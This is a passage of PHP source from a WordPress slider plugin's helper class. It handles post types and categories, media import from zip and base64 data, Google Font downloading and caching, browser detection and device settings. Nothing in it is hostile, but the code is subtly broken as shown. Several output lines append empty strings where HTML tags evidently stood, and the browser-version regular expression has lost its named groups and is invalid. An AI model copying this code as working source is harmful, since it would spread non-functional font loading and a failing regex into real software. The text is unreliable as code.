array_map(array('RevSliderFunctions', 'stripslashes_deep'), $value) : stripslashes($value); return $value; } /** * esc attr recursive * @since: 6.0 */ public static function esc_attr_deep($value){ $value = is_array($value) ? array_map(array('RevSliderFunctions', 'esc_attr_deep'), $value) : esc_attr($value); return $value; } /** * get post types with categories for client side. * before: RevSliderOperations::getPostTypesWithCatsForClient(); */ public function get_post_types_with_categories_for_client(){ $c = 0; $ret = array(); $post_types = $this->get_post_types_with_taxonomies(); foreach($post_types as $name => $tax){ $cat = array(); if(empty($tax)){ $ret[$name] = $cat; continue; } foreach($tax as $tax_name => $tax_title){ $cats = $this->get_categories_assoc($tax_name); if(empty($cats)) continue; $c++; $cat['option_disabled_'.$c] = '---- '. $tax_title .' ----'; foreach($cats as $catID => $catTitle){ $cat[$tax_name.'_'.$catID] = $catTitle; } } $ret[$name] = $cat; } return $ret; } /** * get post types array with taxomonies * before: RevSliderFunctionsWP::getPostTypesWithTaxomonies() */ public function get_post_types_with_taxonomies(){ $post_types = $this->get_post_type_assoc(); foreach($post_types as $post_type => $title){ $post_types[$post_type] = $this->get_post_type_taxonomies($post_type); } return $post_types; } /** * * get array of post types with categories (the taxonomies is between). * get only those taxomonies that have some categories in it. * before: RevSliderFunctionsWP::getPostTypesWithCats() */ public function get_post_types_with_categories(){ $post_types_categories = array(); $post_types = $this->get_post_types_with_taxonomies(); foreach($post_types as $name => $tax){ $ptwc = array(); if(!empty($tax)){ foreach($tax as $tax_name => $tax_title){ $cats = $this->get_categories_assoc($tax_name); if(!empty($cats)){ $ptwc[] = array( 'name' => $tax_name, 'title' => $tax_title, 'cats' => $cats ); } } } $post_types_categories[$name] = $ptwc; } return $post_types_categories; } /** * get all the post types including custom ones * the put to top items will be always in top (they must be in the list) * before: RevSliderFunctionsWP::getPostTypesAssoc() */ public function get_post_type_assoc($put_to_top = array()){ $build_in = array('post' => 'post', 'page'=>'page'); $custom_types = get_post_types(array('_builtin' => false)); //top items validation - add only items that in the customtypes list $top_updated = array(); foreach($put_to_top as $top){ if(in_array($top, $custom_types) == true){ $top_updated[$top] = $top; unset($custom_types[$top]); } } $post_types = array_merge($top_updated, $build_in, $custom_types); //update label foreach($post_types as $key => $type){ $post_types[$key] = $this->get_post_type_title($type); } return $post_types; } /** * return post type title from the post type * before: RevSliderFunctionsWP::getPostTypeTitle() */ public static function get_post_type_title($post_type){ $obj_type = get_post_type_object($post_type); $title = (empty($obj_type)) ? ($post_type) : $obj_type->labels->singular_name; return $title; } /** * get post type taxomonies * before: RevSliderFunctionsWP::getPostTypeTaxomonies() */ public function get_post_type_taxonomies($post_type){ $names = array(); $tax = get_object_taxonomies(array('post_type' => $post_type), 'objects'); if(!empty($tax)){ foreach($tax as $obj_tax){ if($post_type === 'product' && !in_array($obj_tax->name, array('product_cat', 'product_tag'))) continue; $names[$obj_tax->name] = $obj_tax->labels->name; } } return $names; } /** * get post categories list assoc - id / title * before: RevSliderFunctionsWP::getCategoriesAssoc() */ public function get_categories_assoc($taxonomy = 'category'){ $categories = array(); if(strpos($taxonomy, ',') !== false){ $taxes = explode(',', $taxonomy); foreach($taxes as $tax){ $cats = $this->get_categories_assoc($tax); $categories = array_merge($categories, $cats); } }else{ $args = array('taxonomy' => $taxonomy, 'number' => 10000); $cats = get_categories($args); foreach($cats as $cat){ $num = $cat->count; $id = $cat->cat_ID; $name = ($num == 1) ? 'item' : 'items'; $title = $cat->name . ' ('.$num.' '.$name.')'; $categories[$id] = $title; } } return $categories; } /** * check if css string is rgb * @before: RevSliderFunctions::isrgb() **/ public function is_rgb($rgba){ return (strpos($rgba, 'rgb') !== false) ? true : false; } /** * check if file is in zip * @since: 5.0 */ public function check_file_in_zip($d_path, $image, $alias, &$alreadyImported, $add_path = false){ global $wp_filesystem; $image = (is_array($image)) ? $this->get_val($image, 'url') : $image; if(trim($image) !== ''){ if(strpos($image, 'http') !== false){ //dont change, as it is an external image }else{ $strip = false; $zimage = $wp_filesystem->exists($d_path.'images/'.$image); if(!$zimage){ $zimage = $wp_filesystem->exists(str_replace('//', '/', $d_path.'images/'.$image)); $strip = true; } if(!$zimage){ }else{ if(!isset($alreadyImported['images/'.$image])){ //check if we are object folder, if yes, do not import into media library but add it to the object folder $uimg = ($strip == true) ? str_replace('//', '/', 'images/'.$image) : $image; //pclzip $object_library = (strpos($uimg, 'revslider/objects/') === 0) ? true : false; if($object_library === true){ //copy the image to the objects folder if false $objlib = new RevSliderObjectLibrary(); $importImage = $objlib->_import_object($d_path.'images/'.$uimg); }else{ $importImage = $this->import_media($d_path.'images/'.$uimg, $alias.'/'); } if($importImage !== false){ $alreadyImported['images/'.$image] = $importImage['path']; $image = $importImage['path']; } }else{ $image = $alreadyImported['images/'.$image]; } } if($add_path){ $upload_dir = wp_upload_dir(); $cont_url = $upload_dir['baseurl']; if(strpos($image, $cont_url) === false){ $image = str_replace('uploads/uploads/', 'uploads/', $cont_url . '/' . $image); } } } } return $image; } /** * **/ public function import_media_raw($name, $id, $bitmap){ if(intval($id) === 0) return __('Invalid id given', 'revslider'); $path = $this->get_temp_path('rstemp'); if(preg_match('/^data:image\/(\w+);base64,/', $bitmap, $type)){ $data = substr($bitmap, strpos($bitmap, ',') + 1); $type = strtolower($type[1]); // jpg, png, gif if(!in_array($type, array('jpg', 'jpeg', 'gif', 'png'))){ return __('Image has an invalid type', 'revslider'); } if(strpos($name, '.') !== false){ $name = explode('.', $name); $name = $name[0]; } $name .= '_'.$id.'.'.$type; $name = preg_replace("/[^a-zA-Z0-9\-\.\_]/", '', $name); $data = str_replace(' ', '+', $data); $data = base64_decode($data); if($data === false){ return __('Image has an invalid type', 'revslider'); } }else{ return __('Image has invalid data', 'revslider'); } $return = file_put_contents($path.$name, $data); if($return === false) return __('Image could not be saved', 'revslider'); return $this->import_media($path.$name , 'video-media/'); } /** * Import media from url * @param string $file_url URL of the existing file from the original site * @param int $folder_name The slidername will be used as folder name in import * @return boolean True on success, false on failure */ public function import_media($file_url, $folder_name){ require_once(ABSPATH . 'wp-admin/includes/image.php'); $ul_dir = wp_upload_dir(); $art_dir = 'revslider/'; $return = false; //if the directory doesn't exist, create it if(!file_exists($ul_dir['basedir'].'/'.$art_dir)) mkdir($ul_dir['basedir'].'/'.$art_dir); if(!file_exists($ul_dir['basedir'].'/'.$art_dir.$folder_name)) mkdir($ul_dir['basedir'].'/'.$art_dir.$folder_name); //rename the file... alternatively, you could explode on "/" and keep the original file name $filename = basename($file_url); $s_dir = str_replace('//', '/', $art_dir.$folder_name.$filename); $_s_dir = false; if(@fclose(@fopen($file_url, 'r'))){ //make sure the file actually exists $path_info = pathinfo($file_url); if(!isset($path_info['extension'])) return $return; $pi = strtolower($path_info['extension']); if(in_array($pi, $this->bad_extensions)) return $return; $save_dir = $ul_dir['basedir'].'/'.$s_dir; $_atc_id = $this->get_image_id_by_url($s_dir); $atc_id = ($_atc_id === false || $_atc_id === NULL) ? $this->get_image_id_by_basename($filename) : $_atc_id; if($_atc_id !== $atc_id && $atc_id !== false && $atc_id !== NULL){ //&& $_atc_id !== false && $_atc_id !== NULL //the image was found through get_image_id_by_basename(), so we have to get the new save_dir for comparison of md5 $_save_dir = get_attached_file($atc_id); if($_save_dir !== false && !empty($_save_dir)){ if(md5_file($_save_dir) === md5_file($file_url)){ $save_dir = $_save_dir; $atc_id = $atc_id; $s_dir = str_replace($ul_dir['basedir'].'/', '', $save_dir); $_s_dir = $s_dir; } } } /** * check if the files have matching md5, if not change the filename * change save_dir so that the file is not **/ if($atc_id !== false && $atc_id !== NULL){ if(!is_file($save_dir) || md5_file($file_url) !== md5_file($save_dir)){ $file = explode('.', $filename); $nr = 1; while(1 === 1){ $s_dir_2 = $art_dir.$folder_name.$file[0].$nr.'.'.$file[1]; $save_dir = $ul_dir['basedir'].'/'.$s_dir_2; if(is_file($save_dir)){ if(md5_file($file_url) === md5_file($save_dir)){ $atc_id = $this->get_image_id_by_url($s_dir_2); break; } }else{ break; } $nr++; } $atc_id = $this->get_image_id_by_url($s_dir_2); $filename = $file[0].$nr.'.'.$file[1]; //we have a new $filename here, so use that one now $s_dir = str_replace('//', '/', $art_dir.$folder_name.$filename); $_s_dir = false; } } if($atc_id == false || $atc_id == NULL){ @copy($file_url, $save_dir); $file_info = getimagesize($save_dir); $artdata = array( //create an array of attachment data to insert into wp_posts table 'post_author' => 1, 'post_date' => current_time('mysql'), 'post_date_gmt' => current_time('mysql'), 'post_title' => $filename, 'post_status' => 'inherit', 'comment_status' => 'closed', 'ping_status' => 'closed', 'post_name' => sanitize_title_with_dashes(str_replace('_', '-', $filename)), 'post_modified' => current_time('mysql'), 'post_modified_gmt' => current_time('mysql'), 'post_parent' => '', 'post_type' => 'attachment', 'guid' => $ul_dir['baseurl'].'/'.$s_dir, 'post_mime_type' => $this->get_val($file_info, 'mime'), 'post_excerpt' => '', 'post_content' => '' ); //insert the database record $attach_id = wp_insert_attachment($artdata, $s_dir); //generate metadata and thumbnails add_filter('intermediate_image_sizes_advanced', array('RevSliderFunctions', 'temporary_remove_sizes'), 10, 2); $rs_meta_create = get_option('rs_image_meta_todo', array()); if(!isset($rs_meta_create[$attach_id])){ $rs_meta_create[$attach_id] = $save_dir; update_option('rs_image_meta_todo', $rs_meta_create); } if($attach_data = @wp_generate_attachment_metadata($attach_id, $save_dir)){ @wp_update_attachment_metadata($attach_id, $attach_data); } }else{ $attach_id = $atc_id; } if($_s_dir !== false){ $s_dir = (!is_multisite()) ? 'uploads/'.$_s_dir : $_s_dir; $s_dir = str_replace('//', '/', $s_dir); }else{ $art_dir = (!is_multisite()) ? 'uploads/'.$art_dir : $art_dir; $s_dir = str_replace('//', '/', $art_dir.$folder_name.$filename); } $return = array('id' => $attach_id, 'path' => $s_dir); } return $return; } /** * temporary remove image sizes so that only the needed thumb will be created * @since: 6.0 **/ public static function temporary_remove_sizes($sizes, $meta = false){ if(!empty($sizes)){ foreach($sizes as $size => $values){ if($size == 'thumbnail'){ return array($size => $values); } } } return $sizes; } /** * get contents of the css table * @before: RevSliderOperations::getCaptionsContentArray(); */ public function get_captions_content($handle = false){ $css = RevSliderGlobals::instance()->get('RevSliderCssParser'); $this->fill_css(); return $css->db_array_to_array($this->css, $handle); } /** * get wp-content path * @before: RevSliderFunctionsWP::getPathUploads() */ public function get_upload_path(){ if(is_multisite()){ global $wpdb; $path = (!defined('BLOGUPLOADDIR')) ? ABSPATH . 'wp-content/uploads/sites/' . $wpdb->blogid : BLOGUPLOADDIR; }else{ $wp_dir = WP_CONTENT_DIR; $path = (!empty($wp_dir)) ? WP_CONTENT_DIR . '/' : ABSPATH . 'wp-content/uploads/'; } return $path; } /** * get contents of the static css file * @before: RevSliderOperations::getStaticCss() */ public function get_static_css(){ return get_option('revslider-static-css', ''); } /** * get contents of the static css file * @before: RevSliderOperations::updateStaticCss() */ public function update_static_css($css){ $css = str_replace(array("\'", '\"', '\\\\'),array("'", '"', '\\'), trim($css)); update_option('revslider-static-css', $css); return $css; } /** * print html font import * @before: RevSliderOperations::printCleanFontImport() */ public function print_clean_font_import(){ global $revslider_fonts; $font_first = true; $ret = ''; $tcf = ''; $tcf2 = ''; $fonts = array(); $gs = $this->get_global_settings(); $fdl = $this->get_val($gs, 'fontdownload', 'off'); if(!empty($revslider_fonts['queue'])){ foreach($revslider_fonts['queue'] as $f_n => $f_s){ if(!isset($f_s['url'])) continue; //if url is not set, continue $ret .= ''."\n"; } } if($fdl === 'disable') return $ret; if(!empty($revslider_fonts['queue'])){ foreach($revslider_fonts['queue'] as $f_n => $f_s){ if($f_n !== ''){ $_variants = $this->get_val($f_s, 'variants', array()); $_subsets = $this->get_val($f_s, 'subsets', array()); if(!empty($_variants) || !empty($_subsets)){ if(!isset($revslider_fonts['loaded'][$f_n])) $revslider_fonts['loaded'][$f_n] = array(); if(!isset($revslider_fonts['loaded'][$f_n]['variants'])) $revslider_fonts['loaded'][$f_n]['variants'] = array(); if(!isset($revslider_fonts['loaded'][$f_n]['subsets'])) $revslider_fonts['loaded'][$f_n]['subsets'] = array(); if(strpos($f_n, 'href=') === false){ $t_tcf = ''; if($font_first == false) $t_tcf .= '%7C'; //'|'; $t_tcf .= urlencode($f_n).':'; if(!empty($_variants)){ $mgfirst = true; foreach($f_s['variants'] as $mgvk => $mgvv){ if(in_array($mgvv, $revslider_fonts['loaded'][$f_n]['variants'], true)) continue; $revslider_fonts['loaded'][$f_n]['variants'][] = $mgvv; if(!$mgfirst) $t_tcf .= urlencode(','); $t_tcf .= urlencode($mgvv); $mgfirst = false; } //we did not add any variants, so dont add the font if($mgfirst === true) continue; } $fonts[$f_n] = $t_tcf; //we do not want to add the subsets if(!empty($_subsets)){ $mgfirst = true; foreach($f_s['subsets'] as $ssk => $ssv){ if(in_array($mgvv, $revslider_fonts['loaded'][$f_n]['subsets'], true)) continue; $revslider_fonts['loaded'][$f_n]['subsets'][] = $ssv; if($mgfirst) $t_tcf .= urlencode('&subset='); if(!$mgfirst) $t_tcf .= urlencode(','); $t_tcf .= urlencode($ssv); $mgfirst = false; } } $tcf .= $t_tcf; }else{ //$f_n = $this->$this->remove_http($f_n); $tcf2 .= html_entity_decode(stripslashes($f_n)); $fonts[$f_n] = $tcf2; } } $font_first = false; } } } if($fdl === 'preload'){ $ret .= $this->preload_fonts($fonts); }else{ $url = $this->modify_fonts_url('https://fonts.googleapis.com/css?family='); $ret .= ($tcf !== '') ? ''."\n" : ''; $ret .= ($tcf2 !== '') ? html_entity_decode(stripslashes($tcf2)) : ''; } return apply_filters('revslider_printCleanFontImport', $ret); } /** * preloading fonts and return style for it **/ public function preload_fonts($fonts, $style = true, $all = false){ $ret = ''; if(!empty($fonts)){ if (!function_exists('download_url')) require_once ABSPATH . 'wp-admin/includes/file.php'; $upload_dir = wp_upload_dir(); $base_dir = $upload_dir['basedir']; $base_url = $upload_dir['baseurl']; $tp_google_ts = get_option('tp_google_font', 0); $types = array( //--- original 'ttf' => array('user-agent' => ''), 'woff' => array('accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240'), 'woff2' => array('accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'user-agent' => 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0'), //--- original end /*--- alternative //'ttf' => array('user-agent' => 'Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) Safari/538.1 Daum/4.1'), //'woff' => array('user-agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0'), //'woff2' => array('user-agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0'), //'eot' => array('user-agent' => 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)'), //'svg' => array('user-agent' => 'Mozilla/4.0 (iPad; CPU OS 4_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/4.1 Mobile/9A405 Safari/7534.48.3'), //--- alternative 2 end */ ); $fonts_css = get_option('tp_font_css', array()); if(!is_array($fonts_css)) $fonts_css = array(); $load = 'ttf'; if ($all === false) { $_browser = $this->get_browser(); $version = $this->get_val($_browser, 'version', '0'); $browser = $this->get_val($_browser, 'name', ''); //Chrome 6+ , Firefox 3.6+ IE9+, Safari 5.1+ -> WOFF //Chrome 26+, Operae23+, Firefox 39+ -> Woff2 switch(strtolower($browser)){ case 'mozilla firefox': if(version_compare($version, '3.6', '>=')) $load = 'woff'; if(version_compare($version, '39', '>=')) $load = 'woff2'; break; case 'edge': $load = 'woff2'; break; case 'google chrome': if(version_compare($version, '6', '>=')) $load = 'woff'; if(version_compare($version, '26', '>=')) $load = 'woff2'; break; case 'apple safari': if(version_compare($version, '5.1', '>=')) $load = 'woff'; break; case 'opera': if(version_compare($version, '23', '>=')) $load = 'woff'; break; case 'internet explorer': if(version_compare($version, '9', '>=')) $load = 'woff'; break; } } foreach($fonts as $key => $font){ //check if we downloaded the font already $font = str_replace('%7C', '', $font); if(strpos($key, ':') !== false){ $key = explode(':', $key); $key = $key[0]; } $font_name = preg_replace('/[^-a-z0-9 ]+/i', '', $key); $font_name = strtolower(str_replace(' ', '-', esc_attr($font_name))); $f_raw = explode(':', $font); $weights = array('400'); $unicode = ''; $font_loaded = array(); if(!empty($f_raw) && is_array($f_raw) && isset($f_raw[1])){ $f_raw[1] = str_replace(array('%2C', 'wght', '@', ';'), array(',', '', '', ','), $f_raw[1]); $weights = explode(',', $f_raw[1]); foreach($weights as $wk => $weight){ if($weight === 'ital'){ $weights[$wk] = 'italic'; continue; } $weights[$wk] = intval($weight); if($weights[$wk] < 100) unset($weights[$wk]); } if(empty($weights)) $weights = array('400'); $weights = array_unique($weights); } $f_family = str_replace('+', ' ', $f_raw[0]); foreach($types as $ftype => $options){ if($load !== $ftype && $all === false) continue; $f_download = false; foreach($weights as $weight){ $font_style = 'normal'; if(intval($weight) === 0){ $font_style = preg_replace('/[0-9]+/', '', $weight); $weight = preg_replace('/[a-zA-Z]+/', '', $weight); if(intval($weight) < 100) $weight = '400'; } $_css = $this->get_val($fonts_css, array($font_name, $ftype, $weight, $font_style), false); if(!empty($_css) && is_array($_css)){ foreach($_css as $uc => $fw){ if(empty($fw) || !is_array($fw)) continue; foreach($fw as $_fw => $font_css){ $start = strpos($font_css, '###BASE###'); if($start === false) continue; $end = strpos($font_css, ')', $start + 10); $file_raw = substr($font_css, $start + 10, $end - ($start + 10)); if(!is_file($base_dir.'/themepunch/gfonts/'. $file_raw) || filemtime($base_dir.'/themepunch/gfonts/'. $file_raw) < $tp_google_ts){ $f_download = true; break; } } } }else{ $f_download = true; } } if($f_download){ if(!is_dir($base_dir.'/themepunch/')) mkdir($base_dir.'/themepunch/'); if(!is_dir($base_dir.'/themepunch/gfonts/')) mkdir($base_dir.'/themepunch/gfonts/'); if(!is_dir($base_dir.'/themepunch/gfonts/'.$font_name)) mkdir($base_dir.'/themepunch/gfonts/'.$font_name); $content = wp_remote_get('https://fonts.googleapis.com/css?family='.$font, $options); $body = $this->get_val($content, 'body', ''); $body = explode('}', $body); if(!empty($body)){ foreach($body as $b){ if(preg_match("/(http|https|ftp|ftps)\:\/\/[a-zA-Z0-9\-\.]+\.[a-zA-Z]{2,3}(\/\S*)?/", $b, $found_fonts)){ $found_font = rtrim($found_fonts[0], ')'); $filename = basename($found_font); $found_fw = (preg_match("/(?<=font-weight:)(.*)(?=;)/", $b, $found_fw)) ? trim($found_fw[0]) : '400'; $found_fs = (preg_match("/(?<=font-style:)(.*)(?=;)/", $b, $found_fs)) ? trim($found_fs[0]) : 'normal'; $found_ur = (preg_match("/(?<=\/\*)(.*)(?=\*\/)/", $b, $found_ur)) ? trim($found_ur[0]) : ''; $found_ur = (empty($found_ur)) ? 'all' : $found_ur; $found_fs = ($found_fs !== 'normal') ? 'italic' : $found_fs; $found_fw = (empty($found_fw)) ? '400' : $found_fw; $file = $base_dir.'/themepunch/gfonts/'. $font_name . '/' . $filename; $_file = '###BASE###'. $font_name . '/' . $filename; if(!in_array($filename, $font_loaded)){ $tmp = download_url($found_font, 4); if(!is_wp_error($tmp)){ if(!is_dir(dirname($file))) @mkdir(dirname($file)); copy($tmp, $file); @unlink($tmp); } $font_loaded[] = $filename; } if(strpos($b, 'font-display') === false) $b .= ' font-display: swap;'."\n"; if(!isset($fonts_css[$font_name])) $fonts_css[$font_name] = array(); if(!isset($fonts_css[$font_name][$ftype])) $fonts_css[$font_name][$ftype] = array(); if(!isset($fonts_css[$font_name][$ftype][$found_fw])) $fonts_css[$font_name][$ftype][$found_fw] = array(); if(!isset($fonts_css[$font_name][$ftype][$found_fw][$found_fs])) $fonts_css[$font_name][$ftype][$found_fw][$found_fs] = array(); $fonts_css[$font_name][$ftype][$found_fw][$found_fs][$found_ur] = str_replace($found_font, $_file, $b . '}'); } } } } if(!empty($weights) && is_array($weights)){ if($style === true) $ret .= ''; } } } update_option('tp_font_css', $fonts_css); } return $ret; } /** * get the client browser with version **/ public function get_browser(){ $u_agent = $_SERVER['HTTP_USER_AGENT']; $bname = 'Unknown'; $platform = 'Unknown'; $version = ''; $ub = ''; // get platform if (preg_match('/linux/i', $u_agent)) { $platform = 'linux'; } elseif (preg_match('/macintosh|mac os x/i', $u_agent)) { $platform = 'mac'; } elseif (preg_match('/windows|win32/i', $u_agent)) { $platform = 'windows'; } // get name of useragent if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent)) { $bname = 'Internet Explorer'; $ub = 'MSIE'; } elseif(preg_match('/Firefox/i',$u_agent)) { $bname = 'Mozilla Firefox'; $ub = 'Firefox'; } elseif(preg_match('/OPR/i',$u_agent)) { $bname = 'Opera'; $ub = 'Opera'; } elseif(preg_match('/Chrome/i',$u_agent) && !preg_match('/Edg/i',$u_agent)) { $bname = 'Google Chrome'; $ub = 'Chrome'; } elseif(preg_match('/Safari/i',$u_agent) && !preg_match('/Edg/i',$u_agent)) { $bname = 'Apple Safari'; $ub = 'Safari'; } elseif(preg_match('/Netscape/i',$u_agent)) { $bname = 'Netscape'; $ub = 'Netscape'; } elseif(preg_match('/Edg/i',$u_agent)) { $bname = 'Edge'; $ub = 'Edg'; } elseif(preg_match('/Trident/i',$u_agent)) { $bname = 'Internet Explorer'; $ub = 'MSIE'; } // get version $known = array('Version', $ub, 'other'); $pattern = '#(?' . join('|', $known) . ')[/ ]+(?[0-9.|a-zA-Z.]*)#'; if (!preg_match_all($pattern, $u_agent, $matches)){ /* */ } // see how many we have $i = count($matches['browser']); $version = $this->get_val($matches, array('version', 0)); if ($i != 1) { //we will have two since we are not using the 'other' argument yet //see if the version is before or after the name $version = (strripos($u_agent, 'Version') < strripos($u_agent,$ub)) ? $version : $this->get_val($matches, array('version', 1)); } // check if we have a number if ($version == null || $version == '') $version = '0'; return array( 'name' => $bname, 'version' => $version, 'platform' => $platform ); } /** * get a collection of all used fonts, either in a grid or from the whole plugin **/ public function collect_used_fonts($save = true, $fetch_all = true, $page = 1){ $used_fonts = get_option('tp-google-fonts-collect', array()); $global_fonts = array(); $more = false; $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); //get all slider, init them and get subsets and get_used_fonts $page = intval($page); if($page <= 0) $page = 1; $sliders = $sr->get_sliders(false, $page); if(!empty($sliders)){ foreach($sliders as $slider){ $gfsub = $slider->get_param('subsets', array()); $gf = $slider->get_used_fonts(false); if(!empty($gf)){ foreach($gf as $handle => $data){ if(!isset($global_fonts[$handle])) $global_fonts[$handle] = array(); $variants = $this->get_val($data, 'variants', array()); if(!empty($variants) && is_array($variants)){ foreach($variants as $variant => $true){ if(!in_array($variant, $global_fonts[$handle])) $global_fonts[$handle][] = $variant; } } } } } if(count($sliders) >= 50) $more = true; } if(!empty($global_fonts)){ foreach($global_fonts as $handle => $variants){ $url = $handle; if(!empty($variants) && is_array($variants)){ sort($variants); $url .= ':'.implode(',', $variants); } if(!isset($used_fonts[$handle])) $used_fonts[$handle] = array(); if(!in_array($url, $used_fonts[$handle])) $used_fonts[$handle][] = $url; } } if($fetch_all === true){ if(class_exists('ThemePunch_Fonts') && method_exists('ThemePunch_Fonts', 'collect_used_fonts')){ $esg_fonts = new ThemePunch_Fonts(); $return = $esg_fonts->collect_used_fonts(false, false, $page); $fonts = $this->get_val($return, 'fonts', array()); $_more = $this->get_val($return, 'more', false); if($_more === true) $more = true; //merge esg and revslider if(!empty($fonts)){ foreach($fonts as $handle => $urls){ if(empty($urls) || !is_array($urls)) continue; if (!isset($used_fonts[$handle]) ) $used_fonts[$handle] = array(); if (!in_array($handle, $used_fonts[$handle])) { foreach($urls as $url){ if(!in_array($url, $used_fonts[$handle])) $used_fonts[$handle][] = $url; } } } } } } $used_fonts = apply_filters('punchfonts_collect_fonts', $used_fonts); if($save === true) update_option('tp-google-fonts-collect', $used_fonts); return array('fonts' => $used_fonts, 'more' => $more); } public function download_collected_fonts($handle){ if (empty($handle)) return; if (!is_array($handle)) $handle = (array)$handle; $collected = get_option('tp-google-fonts-collect', array()); foreach ($handle as $_handle) { if (!isset($collected[$_handle])) continue; $load = array(); foreach($collected[$_handle] as $h){ $load[$h] = $h; } $this->preload_fonts($load, false, true); } } /** * Change FontURL to new URL (added for chinese support since google is blocked there) * @since: 5.0 * @before: RevSliderFront::modify_punch_url() */ public function modify_fonts_url($url){ $gs = $this->get_global_settings(); $df = $this->get_val($gs, 'fonturl', ''); return ($df !== '') ? $df : $url; } /** * convert date to the date format that the user chose. * @before: RevSliderFunctionsWP::convertPostDate(); */ public function convert_post_date($date, $with_time = false){ if(!empty($date)){ $date = ($with_time) ? date_i18n(get_option('date_format').' '.get_option('time_format'), strtotime($date)) : date_i18n(get_option('date_format'), strtotime($date)); } return $date; } /** * return biggest value of object depending on which devices are enabled * @since: 5.0 **/ public function get_biggest_device_setting($obj, $enabled_devices, $default = '########'){ $dv = $this->get_val($obj, array('d', 'v')); if($this->get_val($enabled_devices, 'd') === true && $dv != '') return $dv; if($default !== '########') return $default; $nv = $this->get_val($obj, array('n', 'v')); if($this->get_val($enabled_devices, 'n') === true && $nv != '') return $nv; $tv = $this->get_val($obj, array('t', 'v')); if($this->get_val($enabled_devices, 't') === true && $tv != '') return $tv; $mv = $this->get_val($obj, array('m', 'v')); if($this->get_val($enabled_devices, 'm') === true && $mv != '') return $mv; return ''; } /** * normalize object with device informations depending on what is enabled for the Slider * @since: 5.0 **/ public function normalize_device_settings($obj, $enabled_devices, $return = 'obj', $default = array(), $set_to_if = array(), $use = ','){ //array -> from -> to /*d n t m*/ $obj = $this->fill_device_settings($obj); if(!empty($set_to_if)){ foreach($obj as $device => $key){ foreach($set_to_if as $from => $to){ if(trim($this->get_val($obj, array($device, 'v'))) == $from) $obj[$device]['v'] = $to; } } } $_def = !empty($default) ? reset($default) : '########'; $inherit_size = $this->get_biggest_device_setting($obj, $enabled_devices, $_def); if($enabled_devices['d'] === true){ if($this->get_val($obj, array('d', 'v'), '') === ''){ $obj['d']['v'] = ($_def !== '########') ? $_def : $inherit_size; }else{ $inherit_size = $obj['d']['v']; } }else{ $obj['d']['v'] = $inherit_size; } if($enabled_devices['n'] === true){ if($this->get_val($obj, array('n', 'v'), '') === ''){ $obj['n']['v'] = ($_def !== '########') ? $_def : $inherit_size; }else{ $inherit_size = $obj['n']['v']; } }else{ $obj['n']['v'] = $inherit_size; } if($enabled_devices['t'] === true){ if($this->get_val($obj, array('t', 'v'), '') === ''){ $obj['t']['v'] = ($_def !== '########') ? $_def : $inherit_size; }else{ $inherit_size = $obj['t']['v']; } }else{ $obj['t']['v'] = $inherit_size; } if($enabled_devices['m'] === true){ if($this->get_val($obj, array('m', 'v'), '') === ''){ $obj['m']['v'] = ($_def !== '########') ? $_def : $inherit_size; }else{ $inherit_size = $obj['m']['v']; } }else{ $obj['m']['v'] = $inherit_size; } switch($return){ case 'obj': //order according to: desktop, notebook, tablet, mobile $new_obj = array(); $new_obj['d'] = $obj['d']['v']; $new_obj['n'] = $obj['n']['v']; $new_obj['t'] = $obj['t']['v']; $new_obj['m'] = $obj['m']['v']; return $new_obj; break; case 'html-array': if($obj['d']['v'] === $obj['n']['v'] && $obj['d']['v'] === $obj['m']['v'] && $obj['d']['v'] === $obj['t']['v']){ $html_array = $obj['d']['v']; }else{ $html_array = @$obj['d']['v']; $html_array .= $use.@$obj['n']['v']; $html_array .= $use.@$obj['t']['v']; $html_array .= $use.@$obj['m']['v']; } if(!empty($default)){ foreach($default as $key => $value){ if((is_string($html_array) && $html_array == "".$value) || (!(is_string($html_array)) && $html_array == $value)){ $html_array = ''; break; } } } return $html_array; break; case 'array': $array = array(); if($obj['d']['v'] === $obj['n']['v'] && $obj['d']['v'] === $obj['m']['v'] && $obj['d']['v'] === $obj['t']['v']){ $array[$obj['d']['v']] = $obj['d']['v']; }else{ $array[$obj['d']['v']] = $this->get_val($obj, array('d', 'v')); $array[$obj['n']['v']] = $this->get_val($obj, array('n', 'v')); $array[$obj['t']['v']] = $this->get_val($obj, array('t', 'v')); $array[$obj['m']['v']] = $this->get_val($obj, array('m', 'v')); if(!empty($array)){ foreach($array as $k => $v){ if(trim($v) === ''){ unset($array[$k]); } } } } return $array; break; } return $obj; } /** * fill object with default values * @since: 6.0 **/ public function fill_device_settings($obj){ $push = array('d', 'n', 't', 'm'); if(is_string($obj)){ $t = $obj; $obj = array(); foreach($push as $p){ $obj[$p] = array('v' => $t); } return $obj; } foreach($push as $p){ if(!isset($obj[$p])){ $obj[$p] = array(); } if(!isset($obj[$p]['v'])){ $obj[$p]['v'] = ''; $obj[$p]['u'] = ''; } } return $obj; } /** * get the values for the given transition **/ public function get_slide_transition_values($transition, $base_transitions = array()){ if(empty($base_transitions)) $base_transitions = $this->get_base_transitions(); foreach($base_transitions as $t){ if(!is_array($t)) continue; foreach($t as $_t){ if(!is_array($_t)) continue; foreach($_t as $name => $values){ if($name !== $transition) continue; return $values; } } } return array(); } /** * get a random slide transition for the given main and grp **/ public function get_random_slide_transition($main, $grp, $base_transitions = array()){ if(empty($base_transitions)) $base_transitions = $this->get_base_transitions(); if(!is_array($grp) && !empty($grp)) $grp = explode(',', $grp); if($grp === '') $grp = array(); $items = array(); foreach($base_transitions as $m => $bt){ if(!is_string($m) || $m === 'random' || $m === 'custom' || ($main !== 'all' && $main !== $m)) continue; foreach($bt as $g => $_bt){ if(is_array($_bt) && $g !== 'icon' && (empty($grp) || 